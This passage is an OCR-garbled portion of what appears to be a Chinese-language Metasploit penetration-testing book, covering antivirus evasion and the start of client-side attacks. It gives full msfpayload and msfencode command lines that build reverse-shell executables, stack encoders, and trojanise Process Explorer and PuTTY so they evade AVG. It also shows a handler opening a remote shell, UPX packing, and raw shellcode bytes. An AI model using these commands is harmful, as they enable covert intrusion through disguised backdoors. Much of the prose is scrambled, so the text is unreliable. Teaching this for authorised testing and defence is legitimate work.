var/www/payloadi.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit

MABNG T — A AT A, FEEIRAVE A multi/handler FEHRAE MSF &g 55 -
Wr 3% . multi/handler BiER fF Metasploit 3 2 395 BE3E 1T W 0 FIALHE
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Got B AT PORMU S S 2 H, AT AT 2 A FH sl b AT A4, 75 IS 24 AT 1) SE B BOR R IR 54T . TRIAR S 340 2 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

BTE HFHEK
msf > use exploit/multi/handler ©
msf exploit(handler) > show options @
. SNIP . .
Payload options (windows/meterpreter/reverse tcp):
Name Current Setting Required Description
EXITFUNC process yes Exit technique: seh, thread, process
LHOST 192.168.1.101 yes The local address
LPORT 4444 yes The local port
. SNIP . ..

msf exploit(handler) > set PAYLOAD windows/shell reverse tcp ©
PAYLOAD => windows/shell reverse tcp

msf exploit(handler) > set LHOST 192.168.1.101 ©

LHOST => 192.168.1.101

msf exploit(handler) » set LPORT 31337 ©

LPORT => 31337

msf exploit(handler) »

HMBAT multithandler RO, I ERBERFAFHNENSHO. REREBHREAH
Windows [ 5 shell®, LAUCACERATISHT G K TTHAT S, I3 e BER I WT A 1P shht®, LIK
Wi 1@, BLIERTHIRER TIEC M.

7.2 BRERERAERET

£ R F T RATE LR 20K AVG RERMERRANF. BT RRCE LR
TWEAMIEAT =R, AW ARIE, FrUARAIE B A5 L SEhr i B 8ar 2 A, WEFN
HARH RmETR, LA RBA BBl BT BE BRI 1T .

ERBIF, HABRAER AVG XA B BB TR, AVG %GR T M,
Wk 7-1 Pros.

File Components History Tools Help

AVG =) Youamp
Anti-Virus kg o

N

Scan results

(el ovario | ifecions |
Fle__ : _ Inecion | Resh
Hc:mwwsmmuammw.u Winug found WinJ2Hew  Infecied

Shell extersion scan

B 7-1 AVG I8 BAOIW B 85T AR RN
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &% i35 i

7.2.1 {£R MSF %%32%

B AR RV RF ] MSF 4348 (msfencode) X BA IR ki B AT SCAF2E4T
P D, MSF Gidas &N ERSCAM TR, ©SSEETTHAT TR HRBR, bR
BAAAHEFRMPE T, MBI BEA L ZRUE TR . FIEFHELE B 1 ] Base64 H B4
ML, MSF Suidas g Banm vl AT RP BB IS, A — B —aE w30 A3
1Z1T)5, MSF %l a8 28 R AG T T A% 00 B 3 A7 b R AT

A LU A msfencode -h #4275 MSF i a8 0 &M S, SR BN EERZ SR
WA KMSE W PG 7R, B0 A msfencode -1 5 HH BT oI H I &R, 4
ERAE RS EH FARMBRERE Y 6. B TEMARE, —4 Power PC (PPC) %ifil
PE R SUIFAE x86 & L BARTVAIE® TAE.

root@bt:/opt/framework3/msf3# msfencode -1

Framework Encoders

Name Rank Description

cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
generic/none normal The "none" Encoder

mipsbe/longxor normal XOR Encoder

mipsle/longxor normal XOR Encoder

php/baseb4 normal PHP Base64 encoder

ppc/longxor normal PPC LongXOR Encoder

ppc/longxor_tag normal PPC LongXOR Encoder

sparc/longxor_tag normal SPARC DWORD XOR Encoder

X64/x0r hormal XOR Encoder

x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder

x86/avoid_utf8 tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder

x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder

x86/nonupper low Non-Upper Encoder

x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
xB6/single static_bit manual Single Static Bit

xB6/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
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Got B AT PORMU S S 2 H, AT AT 2 A FH sl b AT A4, 75 IS 24 AT 1) SE B BOR R IR 54T . TRIAR S 340 2 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

HTE RREHEK

HLTE 375 T % MSF Wi 8 A7 b7 a8, RADVK msfpayload A [ Jo i B4k i A
msfencode 11, IFAFH 4R ATHAT A LS A SE AT RARNE] .

root@bt:/# msfpayload windows/shell reverse_tcp LHOST=192.168.1.101 LPORT=31337 R O|
msfencode -e x86/shikata_ga_nai ® -t exe @ > /var/www/payload2.exe
[*] x86/shikata_ga_nai succeeded with size 342 (iteration=1)

root@bt:/# file /var/www/payload2.exe @
/var/www/2.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit

IAFE msfpayload 4 J5 R M R A& @ SV E 5 R aA 8k, B4 3A 1/ B0 I dh Bodis
LB B %\ msfencode 74 . $i55E Al x86/shikata_ga_nai 3f535@®, J1-45F MSF %
ISR AN exe (texe ®) , M3 HE4 Movarwww/payload?.exe. BJE, BATX AR
MAFHAT IR K T O, A SRR Windows AT AT, KrEres R IRIA1CF
WA . RAEAR, “EATE payload?.exe 3 VL BB AK Windows FHL EJG, E2AHE
Wit AVG #Rrdll, b 7-2 Fros.

File Components History Tools Help

E AVG You may not b:: pmie:ctstﬂ.

Anti-Virus

Free Edition

~ Scan results

" Resuls averview i!nlei:!lons

File Infection Result

3 CA\Documents and Settings'\AdministratonDesklopipayload? exe

B 7-2  AVG B BRI JE B B B SR SRS

7.22 RERD

A RS R R SO PRALBIEAT B 2, BATRIR R Z AR B ES MR WA
Pk, BRATAEIN ST RIS, MABRGSSHEEMEFREE, AMESAN T %EE
HI3CHE. 7€ Metasploit #2429, IRATATLME A B EARAEAKICEIXFRIL, XFER LR
K8 SO AT £ RS, LIS A B RIS A .

70 Bl H B 7 4E FI 59 shikata_ga nai ZRF%HRE£E (polymorphic) [, RV, #iK
A R B B AT SO RN — R RTERF R BB AT P B S 2 — Nk HRMRAE
RSO AR, AR L.
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit ;& &A1&

FERHATIBBORAT, FRAVHE e — A B AR A 33 55 1 X B A 2 Rl i SO AT 3R,
LA O AR . PR —MEH T 2 ERG KT

root@bt:/opt/framework3/msf3# msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.1.101 LPORT=31337 R | msfencode -e x86/shikata_ga_nai -c 5 ©
-t raw ® | msfencode -e x86/alpha_upper -c 2 @ -t raw | msfencode -e
x86/shikata_ga nai -c 5 @ -t raw | msfencode -e x86/countdown -¢c 5 @
-t exe -o /var/www/payload3.exe
[*] x86/shikata_ga nai succeeded with size 318 (iteration=1)
[*] x86/shikata_ga nai succeeded with size 345 (iteration=2)
[*] x86/shikata_ga nai succeeded with size 372 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 399 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 426 (iteration=5)
[*] x86/alpha_upper succeeded with size 921 (iteration=1)
[*] x86/alpha_upper succeeded with size 1911 (iteration=2)
[*] x86/shikata_ga nai succeeded with size 1940 (iteration=1)
[*] x86/shikata_ga nai succeeded with size 1969 (iteration=2)
[*] xB6/shikata_ga nai succeeded with size 1998 (iteration=3)
[*] x86/shikata_ga nai succeeded with size 2027 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 2056 (iteration=5)
[*] x86/countdown succeeded with size 2074 (iteration=1)
[*] x86/countdown succeeded with size 2092 (iteration=2)
[*] x86/countdown succeeded with size 2110 (iteration=3)
[*] xB6/countdown succeeded with size 2128 (iteration=4)
[*] x86/countdown succeeded with size 2146 (iteration=5)
root@bt:/opt/framework3/msf3#

BAVER T 5 K shikata_ga_nai Zif3@, K4355 /5 0 545 53R © X HE1T 2 IX alpha_upper
KIDO, WIS 5 U shikata_ga_nai B30, BT 5 K countdown S5O, BEER
AHATSEAE R A T AT R AAE R, X ERAT A —HPAT T 17 RGeS, il 7-3
B, X REATH B AT B Th R T R S ) AR

Scan results

| Results overview |

Scan "Shell extension scan' was finished

Ed Shell extension scan

4 No infection was found during this scan

Folders selected for scanning: C:\Documents and Settings\Administrator\Desktop\pagload3 exe;

B 7-3  AVG R H £ i £ B4 A A B 8y
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

i

%

ETE RREAK

7.3 BEMAHITIHER

BHEHLF, 1Z17 msfencode it 21, BLili BT A BV BRIN B FTHAT AR 1, BRIA
TR SCAFALTF data/templates/template.exe. BIRIXAHM A2 HEH, (HEKERAEFERMF
] RTECVERIR R I B OCHE R R, SEBR b, 4 HTRUA R msfencode SRR E Fl-x I A 4E
B Windows [T FEFARACE BRSO/ . 72 P IR b, BATHEFON B AT S
i, ¥ Sysinternals FEF 4 ) Process Explorer #2311 20 H & I a] BhAT FE P AEAKR

root@bt:/opt/framework3/msf3# wget http://download.sysinternals.com/Files/
ProcessExplorer.zip @

. « « SNIP , . .
2011-03-21 17:14:46 (119 KB/s) - 'ProcessExplorer.zip' saved [1615732/1615732]

root@t:/opt/framework3/msf3# cd work/
root@bt: /opt/framework3/msf3/work# unzip ../ProcessExplorer.zip @
Archive: ../ProcessExplorer.zip
inflating: procexp.chm
inflating: procexp.exe
inflating: Eula.txt
root@®bt:/opt/framework3/msf3/work# cd ..
root@bt:/opt/framework3/msf3# msfpayload windows/shell_reverse_tcp
LHOST=192.168.1.101 LPORT=8080 R | msfencode -t exe -x work/procexp.exe ©
-0 /var/www/pe_backdoor.exe -e x86/shikata_ga nai -c 5
[*] x86/shikata_ga nai succeeded with size 342 (iteration=1)
[*] x86/shikata_ga nai succeeded with size 369 (iteration=2)
[*] xB6/shikata_ga nai succeeded with size 396 (iteration=3)
[*] x86/shikata_ga nai succeeded with size 423 (iteration=4)
[*] x86/shikata_ga nai succeeded with size 450 (iteration=5)}

WRAT W, BAIM Microsoft M i F#, T Process Explorer ¥/4@®, B E40@EO. i
I -x bR TR & T 3 Process Explorer — il S04 FE A 1H B & RO .. ®WiZ5ER)E, R
113833 msfeli /3 2 multi/handler FEHXS NS REERET WY, W FHTA:

root@bt:/opt/framework3/msf3# msfcli exploit/multi/handler PAYLOAD=windows/
shell_reverse_tcp LHOST=192.168.1.101 LPORT=8080 E

[*] Please wait while we load the module tree...

[*] Started reverse handler on 192.168.1.101:8080

[*¥] Starting the payload handler...

[*] Command shell session 1 opened (192.168.1.101:8080 -> 192.168.1.195:1191)

C:\Documents and Settings\Administrator\My Documents\Downloads>

&, BOIVEHHITH T 2N shell, T HEEHRAFHRMAERI!
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

" Metasploit i&iE X5

Scan results ‘

Results overview

Scan "Shell extension scan ' was finished. ‘

Shell extersion scan

d Mo infection was found dunng this scan |

Folders selected for scanning: CA\Documents and S ettings\Administiator\Desktophpe_backdoorexe;

B 7-4 E{TIENEFEE K AVG R

7.4 SR ER—DBEE T

REHERT, HWBEHI P 2T RBBATNIN A R AP B 5 o T mf kAT 3L
rAa®MBEARE, KRR IREE. b T B8 EREE, R ERSBEEA
IR, ibfE FREFRIERIEITRR, WF -

root@bt:/opt/framework3/msf3# wget http://the.earth.li/~sgtatham/
putty/latest/x86/putty.exe ©

« « SNIP . . .

2011-03-21 17:02:48 (133 KB/s) - ‘putty.exe’ saved [454656/454656]

root@bt:/opt/framework3/msf3# msfpayload windows/shell reverse tcp
LHOST=192.168.1.101 LPORT=8080 R | msfencode -t exe -x putty.exe -o /var/
www/putty backdoor.exe -e x86/shikata_ga nai -k ® -c 5

[*] xB6/shikata_ga nai succeeded with size 342 (iteration=1)

[*] xB6/shikata_ga_nai succeeded with size 369 (iteration=2)

[*] x86/shikata_ga_nai succeeded with size 396 (iteration=3)

[*] x86/shikata_ga_nai succeeded with size 423 (iteration=4)

[*] x86/shikata_ga_nai succeeded with size 450 (iteration=5)

XEEATTET Windows 335 F ) SSH % /73 PuTTY®, #A f5 {8 -k LT AL B PUTTY®.
-k AR ERHRAE M IWLRPEE), XS ERFERTHASZEwW, wE
7-5 B, AR AVG XA RKISCEE R, AR, mHIRM shell /5, PuTTY 27
PR EFBIT! kIETA—EREATERE KA RATER b, ELFEBERNER R SELET
LR H B P BAT TR, D

SURARAT B BOH AT RN BRI AT SO, Mo BA A -k &R, AR B (8l B 77
AR . BEAMERGER T — M AT NAEER, SEREAREE, ESE RN
R EER—ANHRATED, XNMFOERBGERFAERTEA ML, 0w REHE A E
MR, BMESE -k S, AHEHEHERASE TEMALMAE O . HEX N1,
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

H7TE HRBEKR
XA B T i IRIRFF A HR A
: Scan results
Rezults overview

Scan 'Shell extension scan'' was finished
&4 Shell extension scan
3] R &4 Moinfection was found during this scan

Folders selected for scanning: CADocuments and 5 ettings'\Admnssirator\Desktophputty_backdoor exe

75 AVG R B EA R R

7.5 et

INFEHA: & — S e RS AT AT SCAEHEAT AN R I AR IR ARSI AL I TR it 7%
RSCREBEIAT IR, ARIEARTS S M B R4S 080 o B 8 BUATE R 3BT, Xk Fnt F 3B 9
(9, LA IS IS BOFR R AT LA AR . INFEJR, WTHITSOME S, TIThRE S5 BRI
s

[E] MSF 4Ri58s —+F, InFeiiAFti] A nT AT SO 254 . KT, MSF GRiDaEH &
1IN AT AT SO BN, TR Lo B S I 4K 1 2 B F R IR R B3, — 7 T 7T T SCF3E AT
W, PR AT RS, T, RA7E Back|Track #{#H1) S X@H UPX Hn5e
AR R AT payload3.exe PEATARIDFIRSE, MAZSR % CHH#AT o A b HE

root@bt:/# apt-get install upx ©@

« SNIP . . .
root@bt:/# upx @
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2009
UPX 3.04 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 27th 2009
Usage: upx [-123456789d1thVL] [-qvfk] [-o file] file..
« « « SNIP . . .

Type 'upx--help' for more detailed help.
UPX comes with ABSOLUTELY NO WARRANTY; for details visit http://upx.sf.net
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

- Metasploit #&iE Mt &

root@bt:/# upx -5 /var/www/payload3.exe @
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2009

UPX 3.04 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 27th 2009
File size Ratio Format Name
37888 -» 22528 59.46% @ win32/pe payload3.exe

Packed 1 file.

BATE < T UPX 840, BAVEA M ARSHK UPX 440 LIEE T CHFl &%
T, el BAEA-5 I AT AT AT SCAFHEAT IR A N2 @ . 7E@ALRAT LIE I UPX K3
I BB SCAF B BRGE T 59.46%.

FERANVIR D, 42 PREF] EPMA 9 MRS UPX e & i U7 S EAR .

$#87%: PolyPackProject ( http://jon.oberheide.org/files/woot09-polypack.pdf) S T 2 —ik
Cudo B FARAL AL B &F7 Ao A de BT G R E A & R L6 e,

HiR!
AAE P RAMUIANL T msfpayload #= msfencode H A7) fA2/F, K PR LifA —
s | A-Htie IS msfvenom, 'E4f msfpayload f= msfencode #) % fE &% T —A EAo f
AP T P, KB VEA* msfvenom RATHMARE (TAREHREB), EHEH
& 7 msfpayload # msfencode LB, BEREHHATET A%,

76 WG RTRFUEBHIRRES

ABRAMURA LT AR, HEHERMNARAER AR ER, BIERREERRK, 4%
h BT EAEREREEEGHE; HRSHRERY, RREAILARETREAEAZN. 8
#A Metasploit FF 4 B BAA BT Bk AT 2t 17 %, R AEEER DA EE, EWRRE
RAEZRNAHFELEE FABHER, ALEEHRT. W EFR, SURRE RN AR E S #ET
GRACBR, NEELELARMEBAMTHRS, RREAC TN LR RSBEN R
AR—H, SACEFEAUM LR EMF R, XPEA RERE LR TP RRIILE.
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BTt I AT ORM L% S 2 AT AR 2 A B B AT A 4%, 5 I 24 AT 1) SEBRABCR) N AR FHV R ST o DRIAR St 38 40 W o)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

L, BT AR5 B B R GE 8 45 4805 sKig B MU B R Ih KRR . Ziliad
RARBHBEHRBAELRINEEN, HEEEXEIRFN. EMES I EER SR
M EFR. 25 ol Bk (0 2 7E W 45 Bl AR B SE A A TR T, SRAL TR SR KB ) B
R XREEHE AR TN E MR RN, B0 Web JIBEES . PDF [ 28 Rk
RIDAREE, BT ENEFRINZE EAXENAENE, ENERSELBYRERK
i HAR. I bBARDSEiiE BiAh T a7, XL TH P N L8N A AR A T e B
A& MRZE . Metasploit & T — it W EKIF P iSB BB, RITVEERX —FHHAT
WA B

WRVRAE BB LT — AN A RIRIR M BT R Z&P @i, HF B - ad— R, B4
PRI A A MR KA SR K. BERIEEET & TR A2 F LR &sEl
W, Rk MBS B AR PO R T BER DN ERIEAE. ARVT LIBCR AR s 24
HIESEE, WA A, FUE—MEAFANCHERSIR, RiahwE —HEEdbF, &
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &% 01X 15 &

SR AP B — AR (R EBR BB TR KEH LRER. REAFA,
sk THEME B RERE, H P BN Sk iehl, SRE Ul o] LURTIEA 2 7] P S %%

XRE N R AN HBLE VR W KRN B 58 (G B B o A B T Xof 2 68 7E TLHK I
bR RIEE AR, NP RBGEEEENAS . RS ZHRE, REBEMATHH
HAEANT KBRS EWLEMARPIM AL (PS). Web N A B K55S & KARY AL R IR
HEEM EMRZE LN, MiARBAFHAMELEHEMNME T, RTHEL TEEFEY
Hiti .

E2011 £ 3 F, —RBGHEFRHRUNTANR TELHZL AT —RSA. — i B
BRET — B AR E P, XIS — R OME ) Adobe Flash Oday A XLl
R, GXFpEGE gt & Spear Phishing, EPEFXIPERIMBGEHAR. 43ty R IEBGEEE 1
Pt B bR R RBTFUEER, TIARMN— A2 6] B4 A LBEPLEE M. ) TEXIR A IZ RSA
IS, Mo A M IR RIS — N P B BEATEA T RSA 2R A 3 %
BRYE, RIEHEBBEHEAN TS L,

8.1 EHTNEFRIEER T

EE T, BATHES IR Metasploit HER PR TX WA HZER T . B TERZMA
WS, JRSEH P ERARSNNAREE, Hit, ETHRSEMSELGHE TN
HMEZ AR,

B A 7R RATE B &V R EHEREME RB S EANMHA R — AR 4
JHP ra o B I, AT EKT 30 S 28R £ U ) ATV S ARG A A 3, K e R £ B TR
i R ANRR SE AR TE 038 48 B0 — MR FFIRTR . 0 R P AR AR BE 38 2 A TR TR O R AR,
AR = ey B0 B AR U ) BEATTAR R R i, Al A U B2 T B B AT BT . T AE I
diH XL, AR Meterpreter FIZC BT, AT LAIREREI A /2 EHLEASE 4 i3]
buzs; B

REAMHEERNRR S WRHEASZUEE AN RIZITHNHER, BadTE8
R FIFE AR 3T 5/ 2B B KR A AR IR 8 th B AR P RaE 4T Ik AU .
R ERK EARHP BB, BARMNTEET A HERERFEEDBR, XEERE
i BT A— B . RO T UF R ETHEHEA NS PR RE N, SkRPEH
AR AEREHERT, S0 BURAEE L LUMERNEENEER B i, X EERRTEM
Zeeb I M R A RE RSV R AR 7 B U SR A BT A ) i e R 2

110

24 W WwW. 176K u.CoM



BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

¥8E EPWBEBENEH

8.1.1 ETRNFBRBENEHIRIE

o W AR B B HGE X A T H AL SR B B KA FRZET shellcode HIfh & AT 15
Lo RGN BELSD, BhGERET BRRERIUZEABHIITHIIE, REHEANANE
BHMER M. RMAEXNERBBRED, h T EBHRITR NS A B R AT, R
—FPRIRR O HEWTAY Cheap spraying) BURRAI AR, EVEAIVHEHEBS AR 51, WA14eKF
B R, CReRmf THAR.

HERAR T3 BCHI SR A7 25 0], N AR PP AEB AT B T 0 I B R FP AT HR I AME
MHBRFSRET K, BN FE R AL EECTERIES . T2 18 5 D W e T35
PLE T R fF2 i), DLRAEN R4 dr i TR A 2. ERFREmiEid,
MNFHGEHTMT, AFEFEHIERAME, BRI shellcode 75 A 77 EIHTI AL E .
T HER) P Frit ik o AC R BN, Bl B & AR Sk & M fthht, HEFFETIX
ANHHETE 4 R BUH T R 6T E . TEMESE A BB B R Z BT, SRR AL R B T Y
FERRZ .

TEHEL THAIEZ AT, ROMTRRXFENEE: TS (NOP) MFIHAWITK (NOP
slide). FATHFELSR 15 R M HETIRS, XERENE EHCHEAEIR, kiEshme
HEWEST O TARHLEE. FIRORIGXHN—FICHIES: MM EN, SERT T &84, &
ESHMX RN RS FREHENTIES IR — 4R, I REFERGT T
BEHiBE —ERNTES, BAMIF “Wid” KBS HESREIRARMER, F3iTi%
RARSZ G F—%384 . 7E Intel x86 28F01, —ANE4R4 % (M ERVERSZ 90, 2% LA\x90 f)
A MR B ERG .

HEWE I R A R FE K B AT X 5 shellcode A S RLE E IR, REB TN ETHIH M
h, EEE - RPNAEL 0. AT AR AT AN, HE R 50 W FE B R TERRFEIE AT I B AT I,
Jiv CABRAT 138 1 P 0 S8R 7E AT JavaScript BIACET 2 B KB NZE. Bl %R 29849 BT X
FEBE IS shellcode ST K IRM RAF KR MR FMHITRBERARE, RFELMLBES)
PAFH BISEA T, TR AS A AF ML TR B 2 4 2 15 W RO T8 4T DX 3B % "B BE LS 119 shellcode
B2 AT . HIETF7EATF 1 T4 shellcode itk (8 A WG HFEH AR RIME, HEWEST BRINRS H! 0K
FHHILE] 85%F 90%.

KATARSE TR EREH R A, KKEA TSR M AR ®8IOTER
& HZINRPATHEB G I RAR L FRARS, RAXRE - NRERBERTEE, HERLFA NS
RIX LN WRBBEU AR ETERFEE. 3 FHRITE IR ERL L, RITE
HEEEBBUHNERE, BIRMRE T 2442
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit ;&% 3E &

8.1.2 TS

5T 7 MU R AR MR A AN S, BRIDEE DL @ERdhild 24
WATK MBI T . 2 FHFIRS, ARG EIER K90 & Intel x86 S0 FAIERIER . 7E Intel
x86 L&, — P90 fAE —&TFHK4. EXE, WINEH EBIX0 KT —MEITK, B
B 35 B MO AT AR, XA A AT DU — A RO A 24T shell, B0 A~ Meterpreter shell.

\X90\x90\x90\x90\x90\x90\x90\X90\Xx90\ x90\x90\Xx90\X90\x90\ x90
\X90\x90\x90\X90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\ x90\x90\x90\ x90\ x90\x90\ x90\x90\x90\ x90
\xFc\xe8\x89\x00\x00\x00\x60\x89\ xe5\x31\xd2\x64\x8b\x52\x30
\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0F\xb7\x4a\x26\x3 1\ xFf
A\ x31\xc0Mac\x3c xb61\x7c\x02\x2c\ x20\ xc1\xc F\x0d\x01\xc 7\ xe2
\xFOAX52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85
\xcO\x74\x4a\x01 \xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3
\x3c\x49\x8b\x34\x8b\x01\xd6 \x31\xfFAx31\xcO\xac\xc1\xcf\x0d
\x01\xc7\x38\xe0\x75\xF4\x03 \x7d\ x B\ x3b\x7d\x24\x75\xe2\x58
\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b
\x04\x8b\x01\xd0\x89\x44\x24\ %24\ x5b\x5b\x61\x59 \x5a\x51 \ x ff
\xe0\x58 x5 F\x5a\x8b\x12\ xeb\x86\x5d\ x68\x33\x32\x00\X00\ x68
AX77\x73\x32\x5F\x54\x68 \ xac\x 77\ x26\x07 \xFf\xd5\xb8 \x90\x01
Ax00\x00\ %29\ xc4\x54\x50\x68 \x29\ xB0\x6b\x00\x T F\xd5\x50\ x50
Ax50\x50\x40\x50\x40\ x50\ x68 \xea\x0f \xdf \xe0\xfFixd5\x97\x31
\xdb\x53\x68\x02 \x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68\xc2
AxdbA\x37\x6 7\ xFFA\xd5\x53\x57\x68\xb7\xe9 \x38\x T F\xFf\xd5\x53
AX53\x57\x68\x74\xec\x3b\xe 1 \x FFAxdS\x57\x97\x68\x75\x6e\ x4d
AxB1AXFFAXd5\x6a\x00\xba \ x04 \x56\ X5 7\ x68 V%02 \xd 9\ xc 8 \x5F\ xFf
\xdS\x8b\x36\x6a\x40\X68\x00 \x 10\ Xx00\ X00 K56\ x6a\x00\x68\ x58
\xad\x53\xe5 \xFF\xd5\x93\x53 \x6a\x00\x56\ %53\ X5 7\ x68 \x02\xd9
AXCBAXSFAXFFAXdS\x01\xc3\ %29 \xch\ x85 \ xFBAX 75\ xec\xc3

8.2 fE£M Immunity ik 2E ARG TIE S Y 2R

TR BSR M — N, ATLUARRG AT HROZEITRE, OFBILHRELSHR. N5,
BLR e H AL FE AT 1T . BB AR A RS R R A R R IRF KT oday IRIFEIA T, T RF
N ARl THE, DRIl £B8GEE . RSB HE RS, BAIN A RS SR E A2 Immunity
Wik FHMEEDSHERARD. EHRETHMAREZN, BRITEUFAEN Immunity 838
HA KR T .

ATHA - MERLBEITXERIFEITH, RAJTUHERBIRER GO FPHRZHEL
HLBBEWMMBATH. XTF—4F Windows XP BHFEFEH, WRAETLAMN http://www.immunity
inc.com/W 35 T 8, Immunity A28 I 228 . BAELLAT msfpayload ThEEFEFF KA L — M #
[ shellcode F2/7, #RELGEE RV TCP 443 % [1H shell 8, W FAR. EWMRIETTEET
BT T BREIRFE, NS shell &IRTE Hbr EHLERUr— i 0, FAToT DUl ERX AN R O,
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

F8E EPREBUE

RHUZ TEHLEY shell #2215,

root@bt:/opt/framework3/msf3# msfpayload windows/shell/bind_tcp LPORT=443 C

